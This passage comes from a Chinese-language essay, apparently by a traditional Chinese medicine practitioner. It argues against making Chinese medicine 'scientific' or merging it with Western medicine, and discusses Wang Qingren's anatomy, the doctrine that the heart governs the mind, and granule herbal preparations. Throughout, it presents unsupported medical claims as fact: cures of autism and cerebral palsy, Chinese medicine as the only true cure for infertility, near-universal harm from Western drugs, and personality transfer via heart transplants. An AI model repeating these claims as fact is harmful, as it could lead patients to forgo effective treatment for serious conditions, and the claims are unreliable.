顯然，現代科技所能夠研究的“肝”只能是西醫解剖學所指的“肝臟”，它具備實質器官所具有的所有特性。事實上，類似這種“科學化”、“現代化”所研究得出來的學術結論恰恰正是西醫的解剖學知識，所以說，無論是從中醫、還是西醫的角度來看，這種重復“研究”都不具備學術意義。還是趙某的那句話講得好：這類研究是“繞開許多現有成果，故意走遠路”；非但如此，筆者認爲以“繞開許多現有成果”，故意重復再走一次“遠路”來評價比較恰當。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
問題在於人們明明知道現代科技無法研究中醫模糊的學術概念，而且明明知道這樣的許多“研究”都是在重復無效地運作，那麽，爲什麽他們會樂此而不疲呢？這不是一件非常奇怪的事情嗎？筆者以爲，這或許就是“廢中醫”論者的一個巧妙的戰術，他們或許會認爲，這種“現代化”、“科學化”的研究越長，人們心中的中醫傳統學術思維就會變得越來越“淡”，直至拖至最後完全消失殆盡。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，正是由於[中西醫結合]論混淆著中醫之“肝”與西醫實質之肝臟器官之間的學術概念，使得許多醫商、藥商利用中醫的補肝方劑來蠱惑罹患慢性肝炎的患者“養肝”，大發其不義之財。須不知機體的免疫調節功能狀況決定著肝炎病情的進展，因此，不當地使用中藥培補肝臟，有可能因爲改變了機體的免疫狀況而導致加速肝病的惡化。曾經有報道說，許多肝炎患者由於盲目亂用中藥（譬如小柴胡湯、燕窩、靈芝、雞骨草等）自行補肝，使得肝臟負荷過重而出現肝昏迷，甚至差點丟命，這種沉痛的臨床教訓必須引起注意 。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述關於“肝”的論述顯示，中醫的學術概念屬於較爲模糊的綜合概念，與西醫的實質概念存在著根本性的區別，中醫模糊型的學術概念是無法借用“科學”的數、理、化知識來詮釋的；如若硬要強行這麽做，唯一可行的只能像“平衡醫學”一樣，放棄中醫學説的核心&#8212;&#8212;中醫所有的模糊學術理念。這樣做的實質就是“中醫西醫化”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	王清任之錯，錯在解剖學知識不屬於中醫學說學術範疇的問題上。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
清代大醫家王清任經過多年的屍體解剖考察，寫出《醫林改錯》一書，將古代中醫書籍中關於臟腑的錯誤記載一一予以糾正，並發展了淤血致病理論。應該說王清任所作的學術研究是非常認真的，從醫學的角度來看，其“改錯”的本身並沒有錯；然而，中醫學界對此卻不領情，反倒出現“醫林改錯，越改越錯”的評論，這到底是什麽原因呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，信口評説王清任之功過是輕率的，王清任所糾正的那些解剖概念是通過他實際考察得來的，完全具備解剖學的學術價值。其實王清任的改錯並不存在對與錯的問題，而只是因爲其所研究的中心&#8212;&#8212;解剖學對於中醫學說並不存在多少學術價值而已。正如前述，中醫之肝絕非解剖學的實質性肝臟器官，那麽，王清任辛苦“改錯”得來的肝臟解剖知識對於中醫學説來説又存在什麽價值呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，王清任的做法與蓋德所作的完全一樣，都是試圖將解剖學說引進人體醫學，問題在於王清任沒有蓋德那麽幸運，因爲當時的中國還不具備先進的科學技術，因而就顯得有點底氣不足、後繼無力。同時，由於解剖學的學術理論並不屬於中醫學說的學術範疇，而且與中醫關於臟腑的學術概念毫無關係，因而其學術價值得不到當時、以及之後的中醫學術界的認同。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
不過，由於王清任對於淤血理論的研究，提出血府逐瘀湯之類的有效活血方劑，對於中醫學説的病因學説有著一定的貢獻，因而才得以不失其大醫家的地位，只是無法躋身中醫學家之列而已。所以說王清任之錯並非指他在解剖學中的卓越貢獻有什麽不對，而是指其“改錯”的做法已經偏離中醫的學術範疇，其對於中醫學説的發展根本就不存在學術意義。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，我們還可以從“主神明”歸屬問題的學術爭論中來探討。我們知道在近代中醫史上，一直存在著“心主神明”與“腦主神明”之爭，同時還有心與腦共主神明之說；對於這類爭執，雙方各執一詞，均無法説服對方。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
《素問•靈蘭秘典論》中有“心者，君主之官，神明出焉”之說；也就是說，自《内經》以來，人們均循著“心主神明”的宗旨來認識中醫關於神明之說。而只是到了清代，隨著解剖學意識的萌芽，才逐漸出現“腦主神明”一類的學術見解。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
較具有代表性的還是當數王清任，他在《醫林改錯》中斷言“靈機記性不在心在腦”。他說：“靈之記性在腦者，因飲食生氣血，長肌肉，精汁之清者，化而為髓，由脊髓上行入腦，名曰腦髓。兩耳通腦，所聽之聲歸腦；兩目係如線長於腦，所見之物歸腦；鼻通於腦，所聞香臭歸於腦；小兒周歲腦漸生，舌能言一二字。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
通過解剖觀察，王清任發現腦與耳、眼、鼻、舌之間存在著實質器官組織的聯係，這種實質器官之間的聯係，徹底地動搖著王清任原有的“心主神明”的模糊概念。由於王清任重視自己從解剖中所得來的印象，因而其會認爲“靈機記性不在心在腦”。<br />
通過親身的解剖觀察，王清任所得到的結論當然只會是“心臟僅僅只是血泵”的解剖學識認知。不過王清任怎麽也不可能想象得到，隨著西醫醫學的發展，隨著換心手術的成功，他所辛苦得來的“心臟僅僅只是血泵”之類的結論目前正受到質疑，因爲許多心臟移植患者身上都出現了莫名其妙的“心主神明”現象。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
他們在成功換心之後或者出現性格方面的變化，或者出現喜好方面的變化等等，而這樣一些神明之變均出現在換心手術之後。這一現象同時也顯示，解剖學心臟的生理功能除了具備“血泵”功能之外，應該還具備“主神明”的某些功能，只不過西醫學術界目前還沒有認識到而已。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，中醫學說圍繞著“心主神明”的學術觀念，已經形成一整套有效的治心以清神明的理法方藥；而且依據五行學説，中醫學術理論還將五神（怒、喜、思、悲、恐）、五志（魂、神、意、魄、志）等“神明”分別配屬於五臟，同時還配備有相關的有效療法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
雖然中醫理論中的“神”與“志”各有歸屬，但在《靈樞•邪客》篇中又以“心者，五臟六腑之大主，精神之所舍也”來強調“心主神明”的學術理念。關於這個問題，張介賓在《類經》中論述得較爲詳細，他說：“心為臟腑之主，而總統魂魄，並該意志，故憂動於心則肺應，思動於心則脾應，怒動於心則肝應，恐動於心則腎應，此所以五志唯心所使也”。同時他還認爲：“情志之傷，雖五臟各有所屬，然求其所由，則無不從心而發”。上述學術理念顯示，中醫學說關於“心主神明”的理論已經形成一套較爲完整的認知與有效療法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，王清任出現“靈機記性不在心在腦”認知的本質，就在於他已經抛棄了中醫學說中關鍵的模糊學術理念，也就是說，王清任重視解剖學學術結論的實質，全在於他自己背離了中醫學説的學術規律而邁入了西醫的學術境界。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以筆者以爲，王清任之錯，錯在他試圖將解剖學知識塞入中醫學說，藉以改變中醫模糊的學術理論結構，這是一種難以寬恕的學術認知錯位，其對於中醫事業的發展存在著較大的傷害，就像目前中國所推行的“中西醫結合”一樣。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以看出，“腦主神明”之說屬於西醫的解剖學術知識，而“心主神明”之說則屬於中醫的學術範疇。對於腦病的治療，西醫臨床目前還處在無法拿出有效療法的初級階段；而中醫學說既存在“心主神明”這個“理”，而且也具備相應的“法、方、藥”，基本上形成一整套完整的中醫治療腦病的學術規律。截止目前爲止，筆者依據中醫關於“心主神明”的學術規律，就已經治愈了2例小兒腦性癱瘓症、4例自閉症，痊愈患兒當初作爲診斷依據的所有相關病態體徵均告消失。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述表明，解剖學知識屬於實質思維性的學科所必須具備的，由於中醫臟腑學説並不一定具備相對應的實質腑器官組織，因而解剖學知識對於中醫學說並不具備任何意義。事實上，中醫幾乎所有的學術概念都屬於模糊的學術思維體系。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
譬如指導學術思維&#8212;陰陽五行學説，中醫的生理學說&#8212;經絡學説、臟腑學説等，中醫的臨床治病思維&#8212;整體調節、辨證論治，中醫的病因學説&#8212;風、寒、暑、濕、燥、火，中醫的診斷學説&#8212;-病態證型，中藥的四氣、五味學説&#8212;&#8212;等等。可以說，幾乎所有的中醫學術概念都無法通過西醫實驗室研究得以證實，其根本原因全在於中西醫學説不屬於同一種學術思維理念（請參閲拙文“談中醫概念無法進行實質研究”，載於《加州針灸中醫師公會》2006年4月會刊；“談中醫的‘模糊’”，載於《加州針灸中醫師公會》2008年5月會刊）。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	從臨床療效來看中醫藥療法在某些方面勝過西醫臨床許多，沒有必要抛棄中醫的學術特色而<br />
走西醫的老路。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，中醫學說並非現代科技發展才出現的產物，無論是在古代，還是在現代，它都在依據自己完整的學術體系而傲然屹立於世界，服務於社會民衆。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，中醫學說發展至今已經較爲完善了。作爲一個完整的醫學體系，它具有系統的學術理論結構，也能夠運用自己的學術理論指導臨床而完成自己的醫學職能。中醫臨床除了療效顯著的特點之外，還很少出現西醫臨床所常見的副作用問題。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且，由於進行整體調節，中醫臨床所面對的病域要比西醫寬廣很多；許多西醫所認定的“疑難雜症”、“絕症”、運用中醫藥療法都能夠進行有效的治療。筆者就曾經運用中醫藥療法治愈多例不孕症、自閉症、小兒腦癱症、腰椎間盤突出症、小兒先天性足内翻症等疾病。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
就拿不孕症來説吧，西醫借助現代科技能夠進行人工受孕、試管嬰兒，以幫助不孕症患者生育。但不可迴避的事實是，患者雖然能夠生一次孩子，但並不説明患者的不孕症就已經痊愈，該患者如若希望再生一次，那麽還得再次借助現代科技的幫助。由此可以説明，西醫的上述療法並沒有治愈患者的不孕症。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說即使受孕成功，西醫的不孕症治療成效也僅僅只是讓患者受孕一次而已，根本就談不上治愈的臨床療效。而中醫臨床採用整體對抗療法進行調節，能夠使得許多患者改善體質而自然受孕，由於患者的體質得以改善，之後患者仍能在無須借助治療的情況下再次自然懷孕，筆者的許多不孕症患者都已經自然懷孕而生下第二、三胎。由此可見，目前在臨床上或許只有中醫藥療法才能夠真正治愈不孕症。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，由於母體體質得以增強，其自然懷孕所生産的嬰兒應該遠比採用科技設施強行受孕的所謂“試管嬰兒”健康許多。對於這個問題，某些西醫有識之士已經認識到、並開始懷疑上述西醫療法對於人類可能導致的危害。前不久有消息指出，丹麥奧胡斯大學醫院和美國加州大學的科研人員報告說：“試管受精技術並不能克服先天性不育症患者的基因缺陷，而且可能導致這類患者的下一代不能生育。”（詳情請參閲拙文“探究不孕症的治愈話題”，載於《加州針灸中醫師公會》2009年11月會刊）<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
還有保胎的問題。西醫對於孕婦流產的問題幾乎毫無辦法，只能夠要求患者平躺休息，但即使這樣，有部分孕婦最終還是出現流產。中醫對於流產治療的優勢十分明顯，利用中醫藥的保胎療法十分有效，基本上能夠保住胎兒。不僅如此，筆者在爲患者進行保胎治療3-4個月之後，常常還會吩咐孕婦做些輕微的運動（如游泳、散步等），因爲這樣有利於胎兒的發育與縮短孕婦的自然生産產程。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們再拿6年前所發生的SARS並來説吧。在西醫臨床對於SARS這種“新型疾病”還不知所措的時候，廣州中醫學院的鄧鉄濤教授等中醫師就已經依據溫病學説進行治療，而且取得相當好的療效。此外，人們在6年後追蹤當年的患者時竟然發現，採用抗生素與激素治療的原SARS病患者基本上都已經喪失了工作能力，他們幾乎都遺留下嚴重的後遺症，其中主要為股骨頭壞死、肺部纖維化、精神抑鬱症等問題。而類似的問題並未發現在中醫臨床發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
對於中西醫臨床特點，筆者曾經聽到過這樣的一段描述：“吃西藥，讓你明明白白地等死；吃中藥，讓你糊糊塗塗地活著。”這句市井俚語說得很有意思，既把中西醫藥的治病特色用“等死”與“活著”來對照，又將人們對於中西醫學術理論的理解狀況作出了相當有趣的描述。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
西醫依靠現代科技技術，能夠將許多（當然不可能是全部）病理現象、診斷治療說得比較透徹，而更爲重要的則是西醫的學術思維比較容易與現代人產生共鳴；但是囿於局部對抗療法的局限，幾乎所有的西醫療法既會對於人體造成一定的傷害，而且也不一定能夠真正有效地控制疾病的發展惡化。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而吃中藥所進行的整體調節，讓不具備中醫學術意識的人很難理解其治病的規律及其原理，因而就只能夠稀里糊塗地接受中醫治療，而整體調節對於身體的幫助是很大的，甚至能夠讓許多“絕症”患者的病情得以趨緩與改善。通過中西醫療法“補”與“瀉”的對比，中西醫各自的臨床特色也就一覽無遺了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，就拿中西醫臨床醫生自己來説吧，可以說沒有哪位西醫醫生願意在非無可奈何的狀況下使用自己在臨床上常常開給患者服用的西藥，也沒有哪位傳統的中醫師不願意借助中醫藥來調節自己的身體狀況。這個現象的本身就可以凸顯臨床醫生對於自己所屬的醫學有沒有信心等問題。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在看待這個問題上，胡適先生身上所發生的一段故事則更爲有趣。當時胡適先生罹患糖尿病腎病，由於病情已趨嚴重，已經到達協和醫院通知家屬準備料理後事的生死攸關地步。後來胡適先生輾轉接受京城名中醫陸仲安的精心調治，其糖尿病腎病也因此而終告痊愈，當時此案例的中醫療效也獲得協和醫院西醫的認可。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
雖然西醫無法治好胡適先生的病，但西醫的學術見解能夠讓他明明白白；而即使中醫治好胡適先生的病，但由於他自己無法理解中醫的學術理念，所以他還是堅持自己的迂腐觀念，認爲“西醫科學、中醫不科學”。胡適先生當然永遠不可能弄明白自己的病到底是如何被中醫治好的，我們也不能因此而責駡胡適先生忘恩負義、不知好歹，只是由於胡適先生不具備中醫頭腦，因而無法理解中醫學說的模糊思維。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
不過如若他當初只相信“明明白白”、而不願意接受中醫藥治療的話，或許他在接到病危通知之後就只能接受“等死”的命運；幸好他最終還是違心地選擇了“糊糊塗塗”地接受“不科學”的中醫治療，才使得自己能夠存活下來。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
雖然對於學術的認知任何人都無法強求，但筆者還是認爲，無論在人們眼裏中醫藥療法科不科學，能夠讓你稀里糊塗地活著，總比讓你明明白白地等死要好很多。醫學的主要職能在於治病、而不只是理解，當然更不是為了讓人家能夠理解而放棄中醫學說自己的學術理論。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，中醫藥療法之所以能夠流傳至今，甚至能夠在西醫的老巢&#8212;&#8212;歐美大陸站得住腳跟，靠的不是誰的施捨，而是中醫藥療法顯著的臨床療效，甚至包括治療那些令西醫臨床頭痛的“疑難雜症”、“絕症”、“新型疾病”等。既然中醫臨床能夠利用自己的學術理論來有效地履行自己的醫學職能、其臨床療效有時甚至遠超過西醫治療，那又爲什麽還要抛棄中醫學說原有的學術體系而搞什麽“科學化”、“現代化”、“西醫化”呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	中醫藥療法從來就沒有脫離時代的發展。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
寫到這裡，或許會有人罵筆者為仿古守舊的老古董，因爲筆者不認可任醫師所描繪的“中醫藥現代化”藍圖。不過筆者以爲，中醫學說產生於陰陽五行學説盛行的古代中國，並發展成爲一門具備完善“理法方藥”的醫療體系，而且完全能夠勝任作爲獨立醫學體系所應該承擔的社會職能。整個中醫學說的產生、發展、完善的史實，都能夠證實中醫學說從來就沒有自我孤立於時代的發展之外，而是伴隨著時代的發展而不斷發展的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，《黃帝内經》確立了中醫學說的學術理論基礎，而《傷寒論》出現在“傷寒十居其七”的東漢時代，溫病學説則成形於清朝瘟疫流行的時期。而今天，隨著病源性疾病與藥源性疾病的發病率越來越高，隨著抗生素、激素之類藥物所催生的細菌、病毒變異體越來越多，隨著現代文明疾病越來越肆虐……，時代賦予中醫的社會使命可以說是越來越重。而面對上述問題，西醫藥療法卻始終無法拿出有效的應對措施。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
時代在發展，中醫也在發展，這就是事實。但是筆者以爲，在中醫學説的發展史中，除了清代以王清任為代表的推崇解剖學的學術干擾之外，除了現代中國所強行推行[中西醫結合]的學術污染之外，中醫學說基本上都是在依照自己的學術規律而健康地發展。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，所謂“中醫藥現代化”必須在保持中醫藥學術體系完整的基礎之上才能進行，吸收現代科技成果為自己所用並不是壞事，只是那種試圖通過否定中醫學說學術特色、以尋求現代科技社會支持的做法屬於本末倒置，是不可取的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們以中藥為例。在中國，人們曾經花費大筆資金與人力以西醫藥的學術方式針對中藥進行所謂的“學術研究”，譬如中藥的藥品成分的檢測、中藥注射液的開發等等，但是，中藥不是西藥，除了麻黃素等幾味中藥的提取物可以用於西醫臨床治病之外，大部分中藥都無法為其所用。而中藥注射液的開發則更爲離譜，這種人爲地改變中藥進藥方式的做法已經成爲臨床醫療事故頻發的根源。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
中國的所謂[中西醫結合]曾將每味中藥進行成分分析，試圖通過這種分析來使得中藥西醫化。譬如人參。經分析，西醫認爲人參含有多種人參皂甙，大部分皂甙水解之後產生人參二醇與人參三醇，而人參二醇與人參三醇屬於人參的有效成分。而且研究表明，人參皂甙有促進性腺激素、促進動物生長、蛋白質合成的作用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
令人遺憾的是，對於臨床醫生來説，這樣一些藥理分析的結論可以說毫無臨床價值，它既不可能指導西醫臨床採用人參皂甙來促進性腺分泌，也不可能指導中醫臨床進行辨証用藥，因爲中醫師臨床用藥的指導思維不是依據人參皂甙的特性所進行的。<br />
無論是有效成分之說，還是毒性成分之說，其對於中醫臨床用藥而言毫無指導意義；中醫師臨床遣方用藥只能是依據中藥的臨床功效、四氣五味等特性，而經過西醫藥理提純的麻黃素、黃連素、青蒿素等藥物並不屬於中藥範疇，由於其已經不具備“四氣五味”特性，中醫師無法進行辨證用藥。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者對於目前市場上比較流行的科學中藥較爲推崇，認爲這是一種借助現代科技所進行的中藥劑型改革。這種劑型比較適合於大多數現代人服用中藥的要求；因爲人們不必耗費較長時間煎煮中藥飲片，也不必面對一大碗刺鼻的苦水而發愁。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
不過令筆者難以理解的是，中國大陸的許多老中醫卻不願意接受科學中藥。前中國中醫司司長呂炳奎先生就認爲：“現今所推行的顆粒飲片來代替實物飲片的方法，破壞了中醫師配藥的規律，顆粒飲片的藥性遠不如實物飲片，況且它還給儲藥、配藥、病人沖服帶來了大麻煩。”“這種劑型同傳統中醫開處方用中藥飲片煎煮成湯藥有很大的區別。……肉眼不能分辨其所用藥材的真僞，因此極易被假冒仿製。”“顆粒飲片的強行推廣，並將此說成是中藥現代化的必由之路，這將把中醫藥破壞殆盡（摘自《挽救中醫》，呂嘉戈著）。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，借助現代科技改變中藥劑型為科學中藥是一個很好的嘗試，因爲這種嘗試既迎合了現代人對於服用中藥的需求，同時也沒有失去使用中藥所必需的“四氣五味”學術規律。我們知道，科學中藥不同於麻黃素、黃連素、青蒿素等藥物，後者由於已經不具備“四氣五味”學術規律而無法應用於中醫臨床[辨證論治]，而且科學中藥也不同於[中西醫結合]所衍生的那些“中藥注射液”，後者由於徹底改變了中藥的給藥規律而時常出現醫療事故（就連魚腥草這種毫無毒性的中藥亦然）。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
對於呂老所提到的“破壞了配藥的規律”問題筆者並不以爲然，科學中藥的配製程序依然還是在遵循中醫師處方用藥的法則，可以依據處方用藥的比例靈活配製；只不過煎藥部分已經為製藥廠所代勞，因而患者使用起來比較簡捷，用熱開水一沖即可服用。<br />
我們知道，古代流傳下來的中藥劑型中有膏丹丸散，其中散劑就是藥粉形式，既為粉劑，當然也就無法通過飲片的形式來分辨真僞；只不過中藥散劑為生藥，而科學中藥為熟藥，熟藥還可以避免人們對於中藥重金屬的忌諱。科學中藥與散劑同屬粉末狀態，應該都存在“很難監管”的問題，不過筆者以爲這些應該屬於管理部門所考慮的問題，而不應該作爲反對臨床運用的理由。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
至於藥性的強弱問題，筆者以爲，急病使用湯劑，緩病使用丸散，這是歷來的臨床用藥規律，應該不屬於比較之列。此外衆所周知，中醫的臨床療效取決於“藥證相符”的狀況，如若藥證相符，即使少許藥性也會收效顯著；如若藥證不符，即使使用一籮筐中藥飲片也依然無效；如若藥證相反，中藥飲片對於人體的危害只會更大。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，所謂中醫藥的現代化問題並不是要不要現代化的問題，也不是抛棄中醫藥學術規律去迎合現代科技的問題，而是必須在保持中醫學說完整的學術體系的前提之下，如何借用現代科技來改變中醫藥療法的醫療設施的問題。就像科學中藥的產生與臨床運用一樣，利用現代科技設施將中藥飲片轉換成粉狀熟藥製劑，這樣既可以迴避中藥難熬難用的難題，同時期臨床運用依然還是遵循著中醫學説關於“辨証用藥”的臨床規律，並沒有像“麻黃素”之類的製劑那樣失去“四氣”“五味”的中藥特性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，中醫藥療法相關設施的改變也一直都在進行。我們所使用的針灸針具，從古代的骨針、銀針，到今日的一次性不銹鋼針；我們所使用的火罐，從以前的竹罐、玻璃罐，到今日的抽氣罐；從以前的捻針，到今日的脈衝電流刺激的電針……；此外，還有病歷的電腦儲存與使用，各種現代通訊設施的專業教育與宣傳。如此等等，可以說中醫藥療法的所有變化都能夠證實中醫事業的發展與社會科技的發展存在著廣泛的聯係。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，借用飛速發展的現代高科技為中醫藥療法所用並非壞事，但應該看看這種“借用”是否適合傳統中醫事業的發展，而不是為著改變中醫學說模糊思維體系的學術特性。事實上，現代科技的發展如何、與傳統的中醫學說並不存在必然的聯係，無論是在古代封閉的中國，還是在科技發達的歐美世界，中醫藥學説都能夠以其獨特的學術結構昂然於世。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	數理化知識無法規範中醫學說，走向世界靠的只能是中醫藥療法自己的顯著臨床療效。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
記得在中國大陸曾經出現過一個笑話，某地方官僚為了走在改革的前列，竟然別出心裁地將饅頭的尺寸作出嚴格的數字規範，任何超過或者不足於規範數據範圍的饅頭都不準出售，此种無知一時間被人們傳為趣聞。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，數理化屬於現代科技的基礎學科，對於屬於現代科技範疇的學科極具重要性；不過筆者以爲，對於某些非現代科技思維範疇的綜合學科，數理化知識或許就無法用得上，而強行規範的結果，恐怕只會成爲像規範饅頭尺寸那樣的一劑笑料而已。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，中醫本身存在的學術規範並不寬鬆，也不隨意；臨床上每一案例的辨證論治，如若存在哪怕一點點疏忽，都會出現“藥不對證”的問題而無法取效。筆者曾經治療過一例頑固性遺精症，患者每週都會遺精4-5次，也曾找過無數名醫與用過無數名方，均無法脫困。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者審症之後，終於悟出了前者屢治無效的道理。筆者以爲，以前的多次治療幾乎都忽視了“患者只要看過男女親熱的鏡頭之後當晚就會遺精2-3次”的問題，而這個環節應該就是屢治不愈的關鍵，因爲該症所顯示出的問題在於患者身上存在著“心神不安”的問題。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“心神不安”則腎精易動，故而患者在觀看男女親熱鏡頭的當晚會多次遺精；如若醫者僅從腎虛而精關不固著手治療，必然無功。因而筆者僅僅只是在補腎固精方劑中加入少許養心安神之品（諸如酸棗仁、遠志等中藥）就能湊效。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，類似的臨床體會在我們中醫同道的治病過程中較爲常見，而其中的關鍵問題就在於我們中醫業者能否使自己的臨床治病思維符合於[整體調節]、[辨證論治]一類的學術思維。臨床事實表明，中醫臨床療效的好壞只能是取決於醫生臨床治病是否能夠達到“藥證相符”的程度；事實上這就是中醫學説的學術規範，而不是能否通過數理化知識顯示的問題，更不應該為那些現代科技的學術理念所取代。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，中醫臨床並非西醫那種簡單的辨病施治，而中醫學術概念中的“病態證型”何止千千萬萬，而與其相對應的中醫藥療法則也都必須靈活地變化施用，怎麽可能存在“針灸治療肝病時的處方標準”呢？如若有誰真的找到了這種標準處方，那麽筆者只會恭喜他為西醫臨床立了一大功。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，如何看待中醫學說纔是目前所存在的大問題，在古代中國，由於陰陽五行學説非常盛行，故而人們很容易理解中醫，不會責難與苛求中醫，故而有“秀才學醫，籠中抓雞”之說。而今，由於人們所接受的都是數理化等現代科技學術教育，因而對於模糊思維的學術模式較難理解。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由於中醫藥療法的臨床優勢顯著，世界各國現今都在觀注中國的中醫學說，這為中醫藥療法走向世界提供著極好的時機。於是許多中醫業者走向世界各地，而世界各地喜好中醫的人士又紛紛走向中國，他們將自己所學到的中醫藥療法帶到世界各地，為當地的民衆提供著優勢的中醫藥療法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這就是任醫師所說的“中醫藥是屬於世界的”的含義。不過應該強調的是，中醫藥療法能夠走向世界是出自於它的顯著療效，而臨床療效的獲取靠的是遵循中醫學説的學術規律，所以說推廣中醫藥療法的正確做法只應該是讓世界來理解中醫、而決不是中醫自己去“削足適履”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
為了讓“中醫走向世界”而不當地改變自己的學術結構，這不是推廣中醫的好做法，可以説是在毀滅中醫自己。任何一門學科的發展都存在著自己的學術特色，這是普世所公認的學術規律，很多“老外”都懂得這點，他們知道如若自己想當一個好的中醫師，就必須尊重中醫的學術規律；事實上很多“老外”都在認真地將模糊的中醫學術思維運用於臨床治病。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
